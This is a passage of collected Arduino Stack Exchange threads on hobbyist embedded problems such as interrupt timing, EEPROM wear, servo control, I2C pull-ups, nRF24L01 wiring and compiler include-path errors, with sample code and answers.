void setup() {
    pinMode(13, OUTPUT);
    pinMode(2, INPUT);
    attachInterrupt(0, countRPM, FALLING);
}

void loop() {
    if ((injTime > 0) && ((millis() - injTime) >= 10)) {
        injTime = 0;
        digitalWrite(13, LOW);
    }
}

void countRPM() {
    injTime = millis();
    digitalWrite(13, HIGH);
}

Basically, when the interrupt triggers you remember when it triggered and turn on the relay.
Then in your main loop, if the interrupt has been triggered, and 10 milliseconds have elapsed since the interrupt was triggered, then forget that the interrupt was triggered (so you can see the next one) then turn the relay off.
The key point is that you remember when the interrupt triggered, and count your time from that point onwards.

Blue is input to pin 2. Yellow is output of pin 13.

Hey, again thanks. Your code operate my relay but synchronization is problem there. Not operate relay based on falling edge of square wave.

You do know that relays are really really really slow to switch don't you?

I don't know that things.

It sounds like for your project you want some form of solid state switching device, but what that device should be depends entirely on what it is you are actually controlling and what power / current / voltage it needs.

With your oscilloscope, compare the output of pin 13 (not the relay switching) with the square wave. You'll see how the relay is giving you false results.

Yes, I just check it out. According to your modification, output pin 13 which generate pulse is not synchronized with falling edge of square wave.

But, when I put my logic in ISR function which I already do which is provide synchronization with falling edge but not operate my relay. I don't understand what to do now.

My code gives a result that looks pretty much perfectly synchronised to me...  Just uploading a picture...

Ok, got it. I try out only your code the which one work perfect. But when I put that logic in my code which is little bit long and it's not giving proper result.

source: Stack Exchange

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/

sort: votes


text:
Is there any way for one Arduino board to communicate with multiple sensors?
Say a home IoT application to monitor water levels in basement at 4 or 5 different places and transmit that data back to a single Arduino board to be then interfaced with a GUI to do home monitoring?

Yes this could be done using SPI (with separate slave select wires), i2c or daisy chained UART providing a wired solution.

Yes you can ... however, how you transmit the sensor data? If wireless, you need some RF communication, and possibly a microcontroller like Arduino (or ESP) within each sensor module.
With nRF24L01 (2.4GHz) you can use 6 'slaves' (sensor modules in your case) to send data to the master (monitoring module).
Do things one by one:

First make one sensor module
Than make the master to receive data
Than make the GUI screen
Than make the other five sensor modules

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/3.0/


text:
Cannot upload sketch to DFRduino nano
I previously succeed in uploading the code to DFRDuino Nano (Arduino Nano Compatible) (with wrong digital pins) but after changing pin I cannot upload it again.
From the document, I changed back the pins 0 (RX) and 1 (TX) are used for serial communication.
In arduino ide (1.8.19), I choosed board: Arduino Nano and Processor: ATmega328P(Old Bootloader)
The error:
. . .

avrdude: Version 6.3-20190619

        Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/

        Copyright (c) 2007-2014 Joerg Wunsch

        System wide configuration file is "C:\Program Files\WindowsApps\ArduinoLLC.ArduinoIDE_1.8.57.0_x86__mdqgnx93n4wtt\hardware\tools\avr/etc/avrdude.conf"

        Using Port                    : COM3

        Using Programmer              : arduino

        Overriding Baud Rate          : 57600

avrdude: stk500_getsync() attempt 1 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 2 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 3 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 4 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 5 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 6 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 7 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 8 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 9 of 10: not in sync: resp=0x00

avrdude: stk500_getsync() attempt 10 of 10: not in sync: resp=0x00

avrdude done.  Thank you.

An error occurred while uploading the sketch

I have reset both the board and computer but without luck. I changed another board and got the same error.
Any idea how to solve it?
UPDATE:
I uploaded the empty code to reset the board but it yielded the same error.

What do you mean by "uploading with wrong digital pins" and with "changed back the pins 0 (RX) and 1 (TX)"? On the Nano you cannot choose the pins of the Hardware Serial interface. They are literally hardwired

@chrisl I mean at first I used other digital pins for serial communication (d11 d12) using SerialSoftware and did not notice that d0 d1 are hardwired and used for serial com.

What you are doing with SoftwareSerial in your sketch doesn't matter for the bootloader (which is handling the upload). Have you tried resetting the board right after you clicked on upload? It might take some tries to get the timimg right

Assuming "I changed another board and got the same error." means that you tried with another Arduino. Then the problem is on your PC. Did you select the right board and port?

@thebusybee I changed other DFRduino. I selected Arduino Nano and right COM since it was the only one)

Does the Hardware Manager show the DFRDuino? Did you double-check any connection, and that the correct Nano (there are several of them) is selected as the linked page suggests?

@thebusybee I cannot see any DFRDuino from Boards Manager. From the document (above) in programming section, it states The DFRduino Nano can be programmed with the DFRduino software (download)...Nano w/ ATmega328P(Old Bootloader)" from the Tools > Board menu

I did not mean the Board Manager in the IDE. I meant the Hardware Manager of your PC, presumed that you use Windows (any other reasonable OS will have something similar).

@thebusybee it does not show any DfRDuino at all

Then you need to debug the USB connection. Try other USB devices, other Arduinos, other USB cables, other USB ports, ...

license: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
Can I improve EEPROM lifetime by not changing bits?
In my current project I need to store the current elapsed time in hours to retrieve it in case of power loss. Since I am using a Arduino Nano I would ideally like to use the built in EEPROM without additional hardware.
The written values and their order will always be:
0 -> 1 -> 2 -> 3 -> 4 -> 5 -> 6 -> 0 -> ....
If I write that on EEPROM per 0->0 full cycle the last bit will change 7 times and the other bits are pretty much idle. That's why I thought of distributing the changes more evenly by using instead the sequence
0 -> 1 -> 3 -> 7 -> 15 -> 31 -> 63 -> 0 -> ....
This would change every bit only once during a full 0->0 cycle. Does this improve EEPROM life expectancy or is the life expectancy linked to updating full bytes rather than individual bits?
edit: Since the question was closed for being off-topic, I altered the introduction a little bit. I am sorry if some of the comments are no longer fully valid. Since I don't fully understand why the question was closed (especially since there is EEPROM-tag), I would be grateful for a tip where on stackexchange the question would be best suited.

Good question! You may consider adding zeros instead of ones (255 → 254 → 252 → 248 → 240 → 224 → 192 → 255), as for an EEPROM, a pure “write” operation only turns ones into zeros. On AVR, you could also try to use the “write only” mode of the EEPROM (see the datasheet) instead of the “Erase and Write in one operation” mode, which is the one used by the Arduino EEPROM library.

Thank you for your comment. If I understand it correctly if i go from 00000001 to 00000011 what will actually happen is 00000001->11111111->00000011. So in order for my strategy to even have the hope to make sense I need to work with zeros instead of ones?

That's my understanding, but I am far from being an expert in EPPROM. I am eager to see the answers you get. ;-)

The more practical solution is to store data to EEPROM only when you really need it - when power goes out.

If this is a contrived question (i.e. home work) then you just have to look for clever answer like you and Edgar have found.  BTW a 1MB EEPROM, if you flip 1 bit of 8 every second for every byte, should last you over 90 days. If this is real life don't forget about the bigger (practical) picture. As gbg points out. I had a friend at ---- years ago working on a chip.  You write to RAM and before the power completely gave out the chip would dump the RAM into EEPROM. Problem solved (if that chip exists).

Thanks for the additional comments. The question is from a real project so all solutions are on the table. Personally I would prefer a solution without additional hardware. If it is really possible to break down the aging to the flipping of individual bits the chip should last for 50+ years, which is more than sufficient. However to me it is not fully clear as of yet if flipping of individual bits is really a thing altogether and especially with respect to aging.

Guessing, it is the number of changes that makes the difference. A real story, we accidentally wrote the time to EEPROM and only discovered it when boards started to fail in the field ... all at nearly the same time.  Naturally, we had to recall and repair the boards. So, if you really have a zero tolerance, I would suggest you add a way of checking if the EEPROM continues to work as expected.  Perhaps w/something more clever than majority vote where you repeat the above describe approach 3 times over cutting the EEPROM life by 1/3 but gaining a way to verify it is still working.

This is a trick we use for the EEPROM emulation of the chipKIT core for PIC32. However in that situation since it's emulating EEPROM with flash memory you have to manually perform a sector erase, so writing a byte over the top of an existing byte only if the difference between the two bytes is some bits being cleared (erased is 0xFF) work well.

Because EEPROMS are (always) written byte-wise, I pretty much doubt this will change anything in the life expectancy.

On your next design consider using FRAM, it is non volatile and supports almost unlimited (10 - 14th) read write cycles. The library I use or EEPROM supports the update function where it reads the memory first and does not write to it if it is to remain unchanged.

It is possible to write to ATmega EEPROM address without clearing its previous value. The write mode is set with the EEPMx bits in the EECR register.
The avr-libc eeprom.h write functions only use the erase and write mode and the Arduino EEPROM library only uses avr-libc eeprom.h write function.
I modified the EEPROM_write example function from the datasheet to write without erase.
#include <EEPROM.h>

void setup() {

  Serial.begin(115200);

  int address = 0;

  EEPROM.write(address, 0b11111111);
  Serial.println(EEPROM.read(address), BIN);

  EEPROM_write_no_erase(address, 0b11111110);
  Serial.println(EEPROM.read(address), BIN);

  EEPROM_write_no_erase(address, 0b11111101);
  Serial.println(EEPROM.read(address), BIN);

  EEPROM_write_no_erase(address, 0b11101111);
  Serial.println(EEPROM.read(address), BIN);

}

void loop() {

}

void EEPROM_write_no_erase(unsigned int uiAddress, unsigned char ucData) {
  /* Wait for completion of previous write */
  while (EECR & (1 << EEPE))
    ;
  /* Set up address and Data Registers */
  EEAR = uiAddress;
  EEDR = ucData;
  /* Write only */
  EECR |= (1 << EEPM1);
  EECR &= ~(1 << EEPM0);
  /* Write logical one to EEMPE */
  EECR |= (1 << EEMPE);
  /* Start eeprom write by setting EEPE */
  EECR |= (1 << EEPE);
}

the output is as expected:
11111111
11111110
11111100
11101100

I don't know if use of this feature improves the lifetime of the ATmega EEPROM.

It would be safer to set EEMPE and EEPE with interrupts disabled, as recommended by the datasheet.

@EdgarBonet this code is from the datasheet. I guess it expects the function to be called with interrupts disabled if a conflict is possible

all_licenses: Creative Commons - Attribution Share-Alike - https://creativecommons.org/licenses/by-sa/4.0/


text:
What is my code lacking that the servo rotates non-stoppingly? Servo should rotate 180 when distance is <= 50 and 0 when this condition is not true
My code represents a water level sensor, and the components are the Arduino Uno, a breadboard, an ultrasonic servo and two LEDS in which one is red and the other is green.
The condition that I don't know how to include in my code properly to make the servo rotate and activate the LEDs simultaneously:
When the distance is <= 50, servo rotates 180 and activates the red LED
else
servo goes to zero and activates the green LED.
My code:
#include <Servo.h>
int position = 0;
Servo srv;

const int trigPin = 4;
const int echoPin = 2;
const int ServoPin = 3;
const int green = 5;
const int red = 6;

int durantion;
int distance;

// **************************************//
void setup()
{

 Serial.begin(9600);
  pinMode(trigPin, OUTPUT);
  pinMode(echoPin, INPUT);
  pinMode(green, OUTPUT);
  pinMode(red, OUTPUT);
  srv.attach(ServoPin);

}

void loop() {

  int duration, distance;
  pinMode(trigPin, LOW);
  delayMicroseconds(2);
  digitalWrite(trigPin, HIGH);
  delayMicroseconds(10);
  digitalWrite(trigPin, LOW);
 distance = pulseIn(echoPin, HIGH);
 distance = duration *30/2500;

  Serial.print("Distance: ");
  Serial.print(distance);
  Serial.println(" cm");

 if (distance <= 50)

{
  digitalWrite(red, HIGH);
  srv.write(180);
   delay(1000);
}
else
{
  digitalWrite(green, LOW);
  delay(1000);
  srv.write(0);
}
}

```

[![System][1]][1]

  [1]: https://i.sstatic.net/6YXgf.png

if the servo continuously turns without stopping, then you are missing an intermittent motion servo ... you have a continuous rotation servo

please describe in detail what actually happens

@jsotola my servo rotates continuously, but I want to control the rotation myself when I start the simulation in which I use the ultrasonic sensor and the distance.

Re “distance = pulseIn(...);”: You mean duration = pulseIn(...);.

rotates continuously in one direction?

@EdgarBonet Exactly!

if you want the servo to stop at a desired angle, then you will have to buy a servo that is capable of doing that

But I'm afraid that the 180 degrees bit and  zero bit that I mentioned is something that can be controlled as I have seen in other projets on Tinkercad. What is the intermitent motion that you have mentioned in the first comment? @jsotola

@jsotola I mean in terms of code.

@EdgarBonet I'm going to fix the mistake that you pointed out.

if the servo spins in one direction without stopping, then it is not the kind of servo that rotates to a specific angle and stops ... no amount of programming will fix that

Checking your program I found two errors IMHO. Please see the comments in the copied code below. The one also pointed out by @EdgarBonet definitely prevents your program from working correctly. The other one only has impact of the correctness if the values of the constants OUTPUT and LOW differ. I don't know if that is the case.
I'm pretty sure, that the continously turning servo is not caused by the program. There are two kinds of servos. One type that gets a signal which indicates the angle of the turn of the servos arms. The other type gets the same signal (called PWM = Pulse Width Modulation) and interprets it as the speed with that it continously turns the servo arms.
If you use the latter one the arduino sends a signal like turn about 180° but the servo understands turn with full speed. There is nothing you can do programatically to avoid that.
There are workarounds like build a feedback loop with a potentiometer that measures the angle of the turn or use stopper sensors.
But the simplest way is to use a servo that is made for your usecase. (A non continous or standard servo for e.g. RC Cars, RC Ships, RC Air Planes)
BTW: The picture your provided shows a simulation. If the Servo in the simulator turns continuously, perhaps there is a property you can use to change the servo type from continuous to standard. ??
#include <Servo.h>

int position = 0;
Servo srv;

const int trigPin = 4;
const int echoPin = 2;
const int ServoPin = 3;
const int green = 5;
const int red = 6;

int durantion;
int distance;

void setup()
{
  Serial.begin(9600);
  pinMode(trigPin, OUTPUT);
  pinMode(echoPin, INPUT);
  pinMode(green, OUTPUT);
  pinMode(red, OUTPUT);
  srv.attach(ServoPin);
}

void loop()
{

  int duration, distance;
  // error: you already set the pinmode to OUTPUT
  // pinMode(trigPin, LOW);
  // perhaps you mean
  digitalWrite(trigPin, LOW);
  delayMicroseconds(2);
  digitalWrite(trigPin, HIGH);
  delayMicroseconds(10);
  digitalWrite(trigPin, LOW);
  // error: duration or distance ? ;-)
  // distance = pulseIn(echoPin, HIGH);
  duration = pulseIn(echoPin, HIGH);
  distance = duration * 30 /2500;

  Serial.print("Distance: ");
  Serial.print(distance);
  Serial.println(" cm");

  if (distance <= 50)
  {
    digitalWrite(red, HIGH);
    srv.write(180);
    // improvement: delay necessary?
    // delay(1000);
  }
  else
  {
    digitalWrite(green, LOW);
    // improvement: delay necessary?
    // delay(1000);
    srv.write(0);
  }
}


text:
convert string representing a binary number to binary
I have a serial input "1111111" and I would like to convert this to a binary B1111111 that I can send to a led matrix.
I tried to search, but, all the results were misleading, led to full text to binary conversion. Please advise.
edit:
This is my sample code where I am missing a step in the conversion part
LedControl mat = LedControl(DIN_PIN, CLK_PIN, CS_PIN, MAX_SEG); // MAX7219
void OneLine() {

//input
char text[] = "11111110";
//convert to binary number somehow

//show one line
      mat.setRow(0, 0, convertednr);
}

"I tried to search, but, all the results were misleading", How about start from understanding of ASCII? An ASCII '1' that show on your Serial Monitor is binary 0x31, a binary value of 1 is ASCII '1' - '0' (0x31 - 0x30).

Have you searched for something like "C++ binary to int"? There is the strtoi() function, which also takes a parameter with the number base used (which is 2 for binary). Please try it

why do you need to convert to binary? ... what will you do with the binary number?

I receive this as serial input and would like to send it to a 8x8 led display row (max7219)

why do you need a binary number for that?

Welcome to SE/Arduino! Please take the [tour] to learn how this site works, and read "[ask]". Then come back and [edit] your question to add at least one example of what you tried.

@jsotola added sample code.

@chrisl: strtoi() is not standard. He should be using strtol().

@EdgarBonet Thanks, this did the job and I don't need to further convert this do binary, the ledcontrol can work with this.

Is your edit meant as a solution? If so, remove it from the question and write a proper answer. You can mark it (later) as accepted, if it fits you best. This is the way this Q&A site works, it is not a forum. -- If it is not a solution, [edit] and explain why.

@thebusybee the solution was in EdgarBonet's comment: convert to integer, then I can pass this to the led matrix without further conversion.

@vilmarci As mentioned by the busybee, you shouldn't change your original post to make it right. This confused the future readers of this post and they can't see where is the problem. You should either post your working code as an Answer, or simply leave it "as is".

As pointed out by @EdgarBonet, I can convert the string to binary number with strtoul() and pass this to my led control.
Adding this as an answer for future readers:
 LedControl mat = LedControl(DIN_PIN, CLK_PIN, CS_PIN, MAX_SEG); // MAX7219
void OneLine() {

//input
char text[] = "11111110";
//convert to number
uint32_t convertednr = strtoul(text, NULL, 2);
//print out
mySerial.println(convertednr);

//show one line
      mat.setRow(0, 0, convertednr);

you can use mySerial.println(convertednr, BIN);

Re “I can convert the string to decimal number”: Note that strtoul() converts the string to a binary (not decimal) number, and that is what you LED control is using (convertednr is a binary number). You may be confused by the fact that mySerial.println(convertednr) converts this binary number to a decimal string representation, for the purpose of displaying it on the serial port.

thanks @EdgarBonet, corrected the text


text:
Problem with executing a function in the middle of a 'nested for loop'
New to Arduino here. I was wondering if there was anything wrong about my utilization of the nested 'for loop'. What i wanted is the execution of the 'looper4' and 'looper6' function if any of my Togglestates condition are met during the looping process. My Togglestates reads the state of my Togglepins which are linked to my toggle switches. Funny enough, the program executes the 'looper6' function immediately when i flip the switch. However, does not execute the 'looper4' function until the whole nested 'for loops' are finished even when the switch is flipped. All my outputs are to LEDs.
int ledPins[] = { 14, 15, 16, 17, 18, 19, 20, 21, 22, 24, 26, 28};
int pinCount = 12;
int patternCount = 24;
int ledLevel = 0;
int Togglepin = 7;
int Togglestate = 0;
int Togglepin2 = 2;
int Togglestate2 = 0;
int Togglepin3 = 4;
int Togglestate3 = 0;

void setup()
 {

  for(int thisPin = 0; thisPin < pinCount; thisPin++)
    {
      pinMode(ledPins[thisPin], OUTPUT);
    }
  for(int thisPin = 0; thisPin < pinCount; thisPin++)
    {
      pinMode(ledPins[thisPin], OUTPUT);
    }
      pinMode(Togglepin, INPUT);
      pinMode(Togglepin2, INPUT);
      pinMode(Togglepin3, INPUT);
  }

 void loop()
 {
 looper3();
 }

 void looper() //All my loopers(1,2,6,7) execute a similar coding with
                 difference in arrays and toggling conditions(found below)
 {

  byte AOM0[]={0,0,0,0,0,0,0,0,0,0,0,0};
  byte AOM1[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM2[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM3[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM4[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM5[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM6[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM7[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM8[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte AOM9[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM0[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM1[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM2[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM3[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM4[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM5[]={1,1,1,1,1,1,0,0,0,0,0,0};
  byte BOM6[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM7[]={1,1,1,1,1,1,0,0,0,0,0,0};
  byte BOM8[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte BOM9[]={1,1,1,1,1,1,0,0,0,0,0,0};
  byte COM0[]={1,1,1,1,1,1,1,1,1,1,1,1};
  byte COM1[]={1,1,1,1,1,1,0,0,0,0,0,0};
  byte COM2[]={1,0,1,0,1,0,1,0,1,0,1,0};
  byte COM3[]={1,1,1,1,1,1,1,1,1,1,1,1};

  byte* All[24] = { AOM0, AOM1, AOM2, AOM3, AOM4, AOM5, AOM6, AOM7,
                    AOM8, AOM9, BOM0, BOM1, BOM2, BOM3, BOM4, BOM5,
                    BOM6, BOM7, BOM8, BOM9, COM0, COM1, COM2, COM3 };

    for (int Pattern = 0; Pattern < patternCount; Pattern++)
      {
      delay(500);
        for (int thisPin = 0; thisPin < pinCount; thisPin++)
          {
             Togglestate3 = digitalRead(Togglepin3);
             Togglestate = digitalRead(Togglepin);
             digitalWrite(ledPins[thisPin],All[Pattern][thisPin]);
             if (Togglestate3 == HIGH && Togglestate == HIGH)
                 {
                for (int thosePin = 0; thosePin < pinCount; thosePin++)
                    {
                    digitalWrite(ledPins[thosePin],LOW);
                    }

                 looper4();

                 }
             else if (Togglestate3 == HIGH && Togglestate == LOW)
                 {
                for (int thatPin = 0; thatPin < pinCount; thatPin++)
                    {
                    digitalWrite(ledPins[thatPin],LOW);
                    }
                 looper6();

                 }

             }
        }
  }

These are the functions that i used to read and toggle between the different 'looper' functions.
 void looper3()

 {
  Togglestate = digitalRead(Togglepin);

       if(Togglestate == HIGH)
         {
         looper4();
         }
        else if(Togglestate == LOW)
         {
         looper5();
         }

 }

 void looper4()

 {
  Togglestate2 = digitalRead(Togglepin2);
  Togglestate = digitalRead(Togglepin);

         if(Togglestate2 == HIGH && Togglestate == HIGH)
          {
          looper1();
          }
         else if(Togglestate2 == LOW && Togglestate == HIGH)
          {
          looper2();
          }

  }

 void looper5()

 {
  Togglestate3 = digitalRead(Togglepin2);
  Togglestate = digitalRead(Togglepin);

         if(Togglestate3 == HIGH && Togglestate == LOW)
          {
          looper6();
          }
         else if(Togglestate3 == LOW && Togglestate == LOW)
          {
          looper7();
          }

  }

Here is the toggling conditions for all my looper functions
 // Togglestate is the toggle switch i use to interchange between my 2 other
    toggle switches

 Looper1() - if (Togglestate2 == LOW && Togglestate == LOW) -> looper5();
           - if (Togglestate2 == LOW && Togglestate == HIGH) -> looper2();

 Looper2() - if (Togglestate2 == HIGH && Togglestate == LOW) -> looper5();
           - if (Togglestate2 == HIGH && Togglestate == HIGH) -> looper1();

 Looper6() - if (Togglestate3 == LOW && Togglestate == HIGH) -> looper4();
           - if (Togglestate3 == LOW && Togglestate == LOW) -> looper7();

 Looper7() - if (Togglestate3 == HIGH && Togglestate == HIGH) -> looper4();
           - if (Togglestate3 == HIGH && Togglestate == LOW) -> looper6();

This would be pretty much the whole program. I appreciate and welcome any response. Thanks!

You can nest for loops fine. What you cannot do is neat for loops in loops where you name the variables the same thing.
For thisPin ...
   For thisPin ...
   For thisPin...

It gets the compiler confused - or at the very least it gets me confused.  You can use the same have if the loops are next to each other, but not if they are nested:
For thisPin...
    For otherPin...
    For otherPin...

Also, without seeing your whole code I cannot be sure, but you may be suffering from unexpected recursion. This is where function a calls function b which calls function a again. With no limiting factor on the call depth you end up with a stack a mile high, or on chips with a limited hardware stack you loose lots and lots of old stack data and can never get back again.

Thank you for your response. I have amended my code and replaced the loops that are next to each other with a differently declared int variable. However, it seems that the program still waits for the for loops to execute finish before transiting to the allocated function (looper4, looper5).

It does look very much like you have infinite recursion going on there. Looper1 calls looper5, looper5 calls looper1, looper1 calls looper5, etc. I think you need to re-think your program design completely - maybe consider using a Finite State Machine instead of all these loops calling functions calling functions calling functions calling .... etc

At the moment it's in effect like you're asleep dreaming that you're asleep having a dream about being asleep and dreaming that you are asleep, etc... When you wake up (if you ever do) how do you know you have really woken up and not still in a dream?


text:
Why is my radio circuit working with other arduinos but not the Pro Minis?
I have some Arduino Pro Minis. I have both the 3.3V/8MHz and 5V/16MHz versions. I'm trying to get them to work with the nRF24L01 RF modules.
I've lightly modified some example code from the RF24 library, and gotten it working with an Arduino Micro and Nano. Basically, I just send an increasing integer from one to the other, and the receiving one displays on an LCD the latest number it received, which lets me know if a transmitter is working.
So that all works. Now I'm trying to use a Pro Mini (tried both 3.3V and 5V versions) to transmit instead of the Nano I was using before. The regulator is a 3.3V LDO. The battery is supplying that LDO and the RAW pin of the Pro Mini with ~8.5V, which should be good. Measuring the voltage out of the LDO gives 3.3V.
I looked at the pinout of the Pro Mini, and I believe I've hooked up the module to the correct MOSI/MISO/SCK pins, as well as pins 7 and 8 for the module's CE and CSN pins.
Buuut... it's not working. Nothing is appearing on the LCD. I know the nRF and its header thing work fine, because I can pop the exact one into the circuit with the Nano that works.
Even more strangely, I'm pretty sure the Pro Minis are getting programmed successfully. I can upload the Blink example to them, and that works. I'm using an Adafruit FTDI friend to upload, and that appears to be working (compiles, uploads, etc without error).
Here's the code I'm using for the transmitter, it's pretty simple. Does anyone have any suggestions? Thanks in advance. Let me know if there's anything I forgot to include.
edit: It won't let me include more than two links because of my low rep, so I can't include images of my ciruit/wiring. But I'll manually write it out here:
The numbering here is with respect to the pins in the nRF link above.
nRF module pin           Arduino Pro Mini Pin
1 (GND)           GND rail (not on Arduino)
2 (VCC)           3.3V rail (from external regulator)
3 (CE)           Digital pin 7
4 (CSN)           Digital pin 8
5 (SCK)           Digital pin 13
6 (MOSI)           Digital pin 11
7 (MISO)           Digital pin 12
8 (IRQ)           Not connected to anything

Can you also show us the wiring diagram / schematic?

@josecanuc ahh I originally included it in my OP but it didn't let me include more than two links... I'm following the stuff in the 1st link, but I'll edit it explicitly in my OP, thank you.

@josecanuc I've edited it, let me try including an image here though, of my wiring: http://i.imgur.com/c7TF64M.jpg


text:
DS1337 with shared I2C pull-up
I have a project using an ATMEGA328P and a DS1337 RTC chip. The DS1337 is an 8 pin IC with VCC at pin 8 and GND at pin 4. According to the datasheet both pin 5 (SDA) and pin 6 (SCL) need an external pull-up. From what I read elsewhere, a pull-up of 4.7K to 10K for each I2C pin should be good enough. Considering the position of both I2C pins to each other and the VCC pin, I was thinking of simplifying things by using a shared 10K pull-up. This post suggests that it should be possible, but I am still not sure. Does anyone have experience with this, that is using a shared pull-up to an I2C connection? What could be some problems, if any, by doing this?

If you connect SDA and SCL to the same resistor, you're shorting them together. Does not sound like a good idea.

You need at least one pull-up on the SDA pin and at least one pull-up on the SCL pin. You cannot use the same pull-up for both pins as you will be shorting the two pins together.
The pull-ups are required on the I2C signals, not the pins of a chip. If you have multiple chips on the I2C bus you only need one pull-up on each signal. It really doesn't matter (given that I2C buses are intended to be short) where on the signal the pull-up is in relation to any one chip.
I would personally say that 4.7kΩ to 10kΩ is too high. I don't use more than 3.3kΩ pull-ups for I2C, and more likely 1kΩ if I am using higher speed (e.g., 1MHz) I2C.

Thanks very much for your answer. I also had a feeling that connecting both pins together via the resistor was not a good idea, but the post I had mentioned made it sound plausible. Also the datasheet didn't give any indication of what kind of resistors to use or how to calculate their value and what info I found was between 4.7K and 10K. I tried with 10K each and it worked. However, there will also be a barometric sensor module (BMP180) attached which has its own internal resistors. Would this then mean I wouldn't need resistors for the DS1337 in the first place?

@jhorv The resistors only need to exist. It doesn't matter if they are in another module or wired direct to the bus. You can even have multiple resistors, in which case the resistance is just the parallel total of those resistances.

I made a mistake with the resistors. I forgot to pull the interrupt pin high, thus it was always low and that made it look like the DS1337 was waking the MCU. The DS1337 is not working with 10K resistors but neither with 1K resistors. I keep getting an I2C error 4. I will start a new question after doing some more tests and background research. Thanks again for your help.


text:
Getting Arduino 1.0.x to run on Guix: error: expected initializer before ‘_GLIBCXX_NORETURN’, error: ‘std::abort’ has not been declared, etc
I'm looking to get arduino 1.0.x to work on my Mint/Guix hybrid box in order to hack around with 3D printer firmware. Unfortunately I can't get the stock void setup () {} void loop () {} to compile. I get the following compilation error:
  This report would have more information with
  "Show verbose output during compilation"
  enabled in File > Preferences.
Arduino: 1.0.6 (Linux), Board: "Arduino Mega 2560 or Mega ADK"
In file included from /home/blueberry/.guix-profile/include/c++/stdlib.h:36,
                 from /home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/cores/arduino/Arduino.h:23,
                 from sketch_jun23a.ino:3:
/home/blueberry/.guix-profile/include/c++/cstdlib:57: error: expected initializer before ‘_GLIBCXX_NORETURN’
/home/blueberry/.guix-profile/include/c++/cstdlib:59: error: expected initializer before ‘_GLIBCXX_NORETURN’
In file included from /home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/cores/arduino/Arduino.h:23,
                 from sketch_jun23a.ino:3:
/home/blueberry/.guix-profile/include/c++/stdlib.h:38: error: ‘std::abort’ has not been declared
/home/blueberry/.guix-profile/include/c++/stdlib.h:40: error: ‘std::exit’ has not been declared
In file included from /home/blueberry/.guix-profile/include/c++/cmath:42,
                 from /home/blueberry/.guix-profile/include/c++/math.h:36,
                 from /home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/cores/arduino/Arduino.h:25,
                 from sketch_jun23a.ino:3:
/home/blueberry/.guix-profile/include/c++/bits/cpp_type_traits.h:69: error: expected `{' before ‘_GLIBCXX_VISIBILITY’
/home/blueberry/.guix-profile/include/c++/bits/cpp_type_traits.h:69: error: expected constructor, destructor, or type conversion before ‘(’ token
In file included from /home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/cores/arduino/Arduino.h:235,
                 from sketch_jun23a.ino:3:
/home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/variants/mega/pins_arduino.h:59: error: expected `}' at end of input
/home/blueberry/Software/arduino-old/arduino-1.0.6/hardware/arduino/variants/mega/pins_arduino.h:59: error: expected `}' at end of input

Guix clobbers the Arduino IDE include paths, even when my Nix environment is run. I can't get snapd to run on my box, setting up a custom Guix environment does not fix the problem, flathub doesn't have arduino 1.0.x available. Where can I go from here? Thanks.

Guix clobbers the Arduino IDE include paths, even when my Nix environment is run.  Isn't that a bug you should report to the Guix people? All the Arduino IDE should be doing is set up an environment where PATH correctly points to the used compiler, and then execute avr-gcc etc. (see e.g. https://github.com/arduino/ArduinoCore-avr/blob/master/platform.txt#L20-L23) with some flags. It's quite miraculous to me how it's able to bend the include paths to end up finding stdlib.h in /home/blueberry/.guix-profile/include/c++/stdlib.h..


text:
How can I control blinking of LED while in timer function?
When I am in the 30-second standby function, I want to turn the LED on and off at 5-second intervals.
How can I do what I want using the read_counter() function?
The problem here is that I am already in the timer function with the read_counter() function.
void wait_function() {
  timer_init();
  while(read_counter()<30000) { //30 second wait
    // A LED blinking at 1 second intervals ???
  }
}

Note: The read_counter() function increases every 1 millisecond with ISR COMPA vector. I tried many times and couldn't find a stable solution. Example:
if (read_counter() % 1000) PORTB^=(1<<LED);
Update: My new code :
while((TIFR1 & (1 << OCF1A))==0) //4secondIf I do this cycle 8 times, it
                                 //makes 32 seconds.
            {
                if(TCNT1%15624==0) //per 15624=1 second,
                PORTA^=(1<<0);
                 //led_blink_1s
            }

But,it doesn't work.Should I use util delay function?

count six 5 second intervals .... this does not fully describe how the LED is to flash turn the LED on and off at 5-second intervals

this is not a question about arduino software or hardware so off-topic

if (read_counter() / 5000 % 2) PINB^=(1<<LED);

i updated my code but it doesn't work right.

Your waiting loop runs much faster than once per millisecond, and even faster per second. So to get just one "event" per second, you need to detect the change of the second.
void wait_function() {
  timer_init();
  for (int second = 0; second < 30; ++second) { // 30 second wait
    // Wait for the next second
